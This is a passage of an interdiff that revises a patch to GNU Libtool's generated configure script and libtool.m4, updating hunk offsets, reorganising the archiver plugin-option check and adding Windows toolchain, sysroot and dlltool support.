-@@ -10585,8 +11180,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10668,8 +11259,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -11521,7 +11562,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -10619,13 +11215,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10702,13 +11294,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -11594,7 +11635,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -10717,7 +11371,7 @@ haiku*)
+@@ -10790,7 +11440,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -11603,16 +11644,16 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
hardcode_into_libs=yes
;;
-@@ -11513,7 +12167,7 @@ else
+@@ -11586,7 +12236,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11516 "configure"
+-#line 11589 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11557,10 +12211,10 @@ else
+@@ -11630,10 +12280,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -11625,16 +11666,16 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11619,7 +12273,7 @@ else
+@@ -11692,7 +12342,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11622 "configure"
+-#line 11695 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11663,10 +12317,10 @@ else
+@@ -11736,10 +12386,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -11647,7 +11688,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -14110,13 +14764,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -14286,13 +14936,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -11668,7 +11709,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -14131,14 +14792,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -14307,14 +14964,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -11687,7 +11728,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -14171,12 +14835,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -14347,12 +15007,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -11701,7 +11742,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -14231,8 +14895,13 @@ reload_flag \
+@@ -14407,8 +15067,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -11715,7 +11756,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
STRIP \
RANLIB \
CC \
-@@ -14242,12 +14911,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -14418,12 +15083,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -11731,7 +11772,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -14263,7 +14934,6 @@ no_undefined_flag \
+@@ -14439,7 +15106,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -11739,7 +11780,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -14299,6 +14969,7 @@ module_cmds \
+@@ -14475,6 +15141,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -11747,7 +11788,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -15055,7 +15726,8 @@ $as_echo X"$file" |
+@@ -15231,7 +15898,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -11757,7 +11798,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -15158,19 +15830,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -15334,19 +16002,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -11801,7 +11842,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -15200,6 +15895,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -15376,6 +16067,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -11814,7 +11855,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -15209,6 +15910,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -15385,6 +16082,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -11824,7 +11865,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -15323,12 +16027,12 @@ with_gcc=$GCC
+@@ -15499,12 +16199,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -11840,7 +11881,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -15415,9 +16119,6 @@ inherit_rpath=$inherit_rpath
+@@ -15591,9 +16291,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -11850,7 +11891,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -15433,6 +16134,9 @@ include_expsyms=$lt_include_expsyms
+@@ -15609,6 +16306,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -11860,7 +11901,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -15465,210 +16169,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -15641,210 +16341,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -12235,7 +12276,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
chmod +x "$ofile"
diff --git a/libtool.m4 b/libtool.m4
-index 434530059fa..e45fdc6998c 100644
+index 9a13f3b117a..5be47564443 100644
--- a/libtool.m4
+++ b/libtool.m4
@@ -1,7 +1,8 @@
@@ -12267,16 +12308,6 @@ index 434530059fa..e45fdc6998c 100644
# LT_PREREQ(VERSION)
-@@ -92,7 +94,8 @@ _LT_SET_OPTIONS([$0], [$1])
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
- AC_SUBST(LIBTOOL)dnl
-
- _LT_SETUP
@@ -166,10 +169,13 @@ _LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl
dnl
m4_require([_LT_FILEUTILS_DEFAULTS])dnl
@@ -12291,15 +12322,6 @@ index 434530059fa..e45fdc6998c 100644
_LT_CONFIG_LIBTOOL_INIT([
# See if we are running on zsh, and set the options which allow our
-@@ -199,7 +205,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
@@ -632,7 +638,7 @@ m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl
m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION])
configured by $[0], generated by m4_PACKAGE_STRING.
@@ -12445,7 +12467,7 @@ index 434530059fa..e45fdc6998c 100644
# _LT_ENABLE_LOCK
# ---------------
m4_defun([_LT_ENABLE_LOCK],
-@@ -1320,14 +1369,47 @@ need_locks="$enable_libtool_lock"
+@@ -1320,6 +1369,51 @@ need_locks="$enable_libtool_lock"
])# _LT_ENABLE_LOCK
@@ -12453,6 +12475,14 @@ index 434530059fa..e45fdc6998c 100644
+# -----------
+m4_defun([_LT_PROG_AR],
+[AC_CHECK_TOOLS(AR, [ar], false)
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ AC_MSG_WARN([Failed: $AR $plugin_option rc])
++ else
++ AR="$AR $plugin_option"
++ fi
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
+_LT_DECL([], [AR], [1], [The archiver])
@@ -12489,16 +12519,32 @@ index 434530059fa..e45fdc6998c 100644
# _LT_CMD_OLD_ARCHIVE
# -------------------
m4_defun([_LT_CMD_OLD_ARCHIVE],
--[AC_CHECK_TOOL(AR, ar, false)
+@@ -1336,23 +1430,7 @@ for plugin in $plugin_names; do
+ fi
+ done
+
+-AC_CHECK_TOOL(AR, ar, false)
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- AC_MSG_WARN([Failed: $AR $plugin_option rc])
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
+- fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
-_LT_DECL([], [AR], [1], [The archiver])
-_LT_DECL([], [AR_FLAGS], [1])
-+[_LT_PROG_AR
++_LT_PROG_AR
AC_CHECK_TOOL(STRIP, strip, :)
test -z "$STRIP" && STRIP=:
-@@ -1623,7 +1705,7 @@ else
+@@ -1653,7 +1731,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
@@ -12507,7 +12553,7 @@ index 434530059fa..e45fdc6998c 100644
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -1667,10 +1749,10 @@ else
+@@ -1697,10 +1775,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -12520,7 +12566,7 @@ index 434530059fa..e45fdc6998c 100644
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -2210,8 +2292,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -2240,8 +2318,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -12532,7 +12578,7 @@ index 434530059fa..e45fdc6998c 100644
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -2244,13 +2327,71 @@ m4_if([$1], [],[
+@@ -2274,13 +2353,71 @@ m4_if([$1], [],[
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -12605,7 +12651,7 @@ index 434530059fa..e45fdc6998c 100644
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -2342,7 +2483,7 @@ haiku*)
+@@ -2362,7 +2499,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -12614,7 +12660,7 @@ index 434530059fa..e45fdc6998c 100644
hardcode_into_libs=yes
;;
-@@ -2950,6 +3091,11 @@ case $reload_flag in
+@@ -2970,6 +3107,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -12626,7 +12672,7 @@ index 434530059fa..e45fdc6998c 100644
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -3016,7 +3162,8 @@ mingw* | pw32*)
+@@ -3036,7 +3178,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -12636,7 +12682,7 @@ index 434530059fa..e45fdc6998c 100644
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -3167,6 +3314,21 @@ tpf*)
+@@ -3187,6 +3330,21 @@ tpf*)
;;
esac
])
@@ -12658,7 +12704,7 @@ index 434530059fa..e45fdc6998c 100644
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -3174,7 +3336,11 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -3194,7 +3352,11 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
_LT_DECL([], [deplibs_check_method], [1],
[Method to check whether dependent libraries are shared objects])
_LT_DECL([], [file_magic_cmd], [1],
@@ -12671,7 +12717,7 @@ index 434530059fa..e45fdc6998c 100644
])# _LT_CHECK_MAGIC_METHOD
-@@ -3277,6 +3443,67 @@ dnl aclocal-1.4 backwards compatibility:
+@@ -3297,6 +3459,67 @@ dnl aclocal-1.4 backwards compatibility:
dnl AC_DEFUN([AM_PROG_NM], [])
dnl AC_DEFUN([AC_PROG_NM], [])
@@ -12739,7 +12785,7 @@ index 434530059fa..e45fdc6998c 100644
# LT_LIB_M
# --------
-@@ -3403,8 +3630,8 @@ esac
+@@ -3423,8 +3646,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -12750,7 +12796,7 @@ index 434530059fa..e45fdc6998c 100644
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -3440,6 +3667,7 @@ for ac_symprfx in "" "_"; do
+@@ -3460,6 +3683,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -12758,7 +12804,7 @@ index 434530059fa..e45fdc6998c 100644
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -3473,6 +3701,18 @@ _LT_EOF
+@@ -3493,6 +3717,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -12777,7 +12823,7 @@ index 434530059fa..e45fdc6998c 100644
#ifdef __cplusplus
extern "C" {
#endif
-@@ -3484,7 +3724,7 @@ _LT_EOF
+@@ -3504,7 +3740,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -12786,7 +12832,7 @@ index 434530059fa..e45fdc6998c 100644
const char *name;
void *address;
}
-@@ -3510,15 +3750,15 @@ static const void *lt_preloaded_setup() {
+@@ -3530,15 +3766,15 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -12806,7 +12852,7 @@ index 434530059fa..e45fdc6998c 100644
else
echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
fi
-@@ -3551,6 +3791,13 @@ else
+@@ -3571,6 +3807,13 @@ else
AC_MSG_RESULT(ok)
fi
@@ -12820,7 +12866,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1],
[Take the output of nm and produce a listing of raw symbols and C names])
_LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1],
-@@ -3561,6 +3808,8 @@ _LT_DECL([global_symbol_to_c_name_address],
+@@ -3581,6 +3824,8 @@ _LT_DECL([global_symbol_to_c_name_address],
_LT_DECL([global_symbol_to_c_name_address_lib_prefix],
[lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1],
[Transform the output of nm in a C name address pair when lib prefix is needed])
@@ -12829,7 +12875,7 @@ index 434530059fa..e45fdc6998c 100644
]) # _LT_CMD_GLOBAL_SYMBOLS
-@@ -3572,7 +3821,6 @@ _LT_TAGVAR(lt_prog_compiler_wl, $1)=
+@@ -3592,7 +3837,6 @@ _LT_TAGVAR(lt_prog_compiler_wl, $1)=
_LT_TAGVAR(lt_prog_compiler_pic, $1)=
_LT_TAGVAR(lt_prog_compiler_static, $1)=
@@ -12837,7 +12883,7 @@ index 434530059fa..e45fdc6998c 100644
m4_if([$1], [CXX], [
# C++ specific cases for pic, static, wl, etc.
if test "$GXX" = yes; then
-@@ -3678,6 +3926,12 @@ m4_if([$1], [CXX], [
+@@ -3698,6 +3942,12 @@ m4_if([$1], [CXX], [
;;
esac
;;
@@ -12850,7 +12896,7 @@ index 434530059fa..e45fdc6998c 100644
dgux*)
case $cc_basename in
ec++*)
-@@ -3830,7 +4084,7 @@ m4_if([$1], [CXX], [
+@@ -3850,7 +4100,7 @@ m4_if([$1], [CXX], [
;;
solaris*)
case $cc_basename in
@@ -12859,7 +12905,7 @@ index 434530059fa..e45fdc6998c 100644
# Sun C++ 4.2, 5.x and Centerline C++
_LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
_LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
-@@ -4053,6 +4307,12 @@ m4_if([$1], [CXX], [
+@@ -4073,6 +4323,12 @@ m4_if([$1], [CXX], [
_LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared'
_LT_TAGVAR(lt_prog_compiler_static, $1)='--static'
;;
@@ -12872,7 +12918,7 @@ index 434530059fa..e45fdc6998c 100644
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -4115,7 +4375,7 @@ m4_if([$1], [CXX], [
+@@ -4135,7 +4391,7 @@ m4_if([$1], [CXX], [
_LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
_LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
case $cc_basename in
@@ -12881,7 +12927,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
*)
_LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
-@@ -4172,9 +4432,11 @@ case $host_os in
+@@ -4192,9 +4448,11 @@ case $host_os in
_LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])"
;;
esac
@@ -12896,7 +12942,7 @@ index 434530059fa..e45fdc6998c 100644
#
# Check to make sure the PIC flag actually works.
-@@ -4193,6 +4455,8 @@ fi
+@@ -4213,6 +4471,8 @@ fi
_LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1],
[Additional compiler flags for building library objects])
@@ -12905,7 +12951,7 @@ index 434530059fa..e45fdc6998c 100644
#
# Check to make sure the static flag actually works.
#
-@@ -4213,6 +4477,7 @@ _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1],
+@@ -4233,6 +4493,7 @@ _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1],
m4_defun([_LT_LINKER_SHLIBS],
[AC_REQUIRE([LT_PATH_LD])dnl
AC_REQUIRE([LT_PATH_NM])dnl
@@ -12913,7 +12959,7 @@ index 434530059fa..e45fdc6998c 100644
m4_require([_LT_FILEUTILS_DEFAULTS])dnl
m4_require([_LT_DECL_EGREP])dnl
m4_require([_LT_DECL_SED])dnl
-@@ -4221,6 +4486,7 @@ m4_require([_LT_TAG_COMPILER])dnl
+@@ -4241,6 +4502,7 @@ m4_require([_LT_TAG_COMPILER])dnl
AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
m4_if([$1], [CXX], [
_LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
@@ -12921,7 +12967,7 @@ index 434530059fa..e45fdc6998c 100644
case $host_os in
aix[[4-9]]*)
# If we're using GNU nm, then we don't want the "-C" option.
-@@ -4235,15 +4501,20 @@ m4_if([$1], [CXX], [
+@@ -4255,15 +4517,20 @@ m4_if([$1], [CXX], [
;;
pw32*)
_LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
@@ -12947,7 +12993,7 @@ index 434530059fa..e45fdc6998c 100644
], [
runpath_var=
_LT_TAGVAR(allow_undefined_flag, $1)=
-@@ -4411,7 +4682,8 @@ _LT_EOF
+@@ -4431,7 +4698,8 @@ _LT_EOF
_LT_TAGVAR(allow_undefined_flag, $1)=unsupported
_LT_TAGVAR(always_export_symbols, $1)=no
_LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
@@ -12957,7 +13003,7 @@ index 434530059fa..e45fdc6998c 100644
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -4510,12 +4782,12 @@ _LT_EOF
+@@ -4530,12 +4798,12 @@ _LT_EOF
_LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive'
_LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
_LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
@@ -12972,7 +13018,7 @@ index 434530059fa..e45fdc6998c 100644
fi
;;
esac
-@@ -4529,8 +4801,8 @@ _LT_EOF
+@@ -4549,8 +4817,8 @@ _LT_EOF
_LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -12983,7 +13029,7 @@ index 434530059fa..e45fdc6998c 100644
fi
;;
-@@ -4548,8 +4820,8 @@ _LT_EOF
+@@ -4568,8 +4836,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -12994,7 +13040,7 @@ index 434530059fa..e45fdc6998c 100644
else
_LT_TAGVAR(ld_shlibs, $1)=no
fi
-@@ -4595,8 +4867,8 @@ _LT_EOF
+@@ -4615,8 +4883,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -13005,7 +13051,7 @@ index 434530059fa..e45fdc6998c 100644
else
_LT_TAGVAR(ld_shlibs, $1)=no
fi
-@@ -4726,7 +4998,7 @@ _LT_EOF
+@@ -4746,7 +5014,7 @@ _LT_EOF
_LT_TAGVAR(allow_undefined_flag, $1)='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -13014,7 +13060,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
else
-@@ -4737,7 +5009,7 @@ _LT_EOF
+@@ -4757,7 +5025,7 @@ _LT_EOF
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -13023,7 +13069,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
# -berok will link without error, but may produce a broken library.
-@@ -4781,20 +5053,63 @@ _LT_EOF
+@@ -4801,20 +5069,63 @@ _LT_EOF
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -13101,7 +13147,7 @@ index 434530059fa..e45fdc6998c 100644
;;
darwin* | rhapsody*)
-@@ -4828,7 +5143,7 @@ _LT_EOF
+@@ -4848,7 +5159,7 @@ _LT_EOF
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -13110,7 +13156,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
_LT_TAGVAR(hardcode_direct, $1)=yes
_LT_TAGVAR(hardcode_shlibpath_var, $1)=no
-@@ -4836,7 +5151,7 @@ _LT_EOF
+@@ -4856,7 +5167,7 @@ _LT_EOF
hpux9*)
if test "$GCC" = yes; then
@@ -13119,7 +13165,7 @@ index 434530059fa..e45fdc6998c 100644
else
_LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -4852,7 +5167,7 @@ _LT_EOF
+@@ -4872,7 +5183,7 @@ _LT_EOF
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -13128,7 +13174,7 @@ index 434530059fa..e45fdc6998c 100644
else
_LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
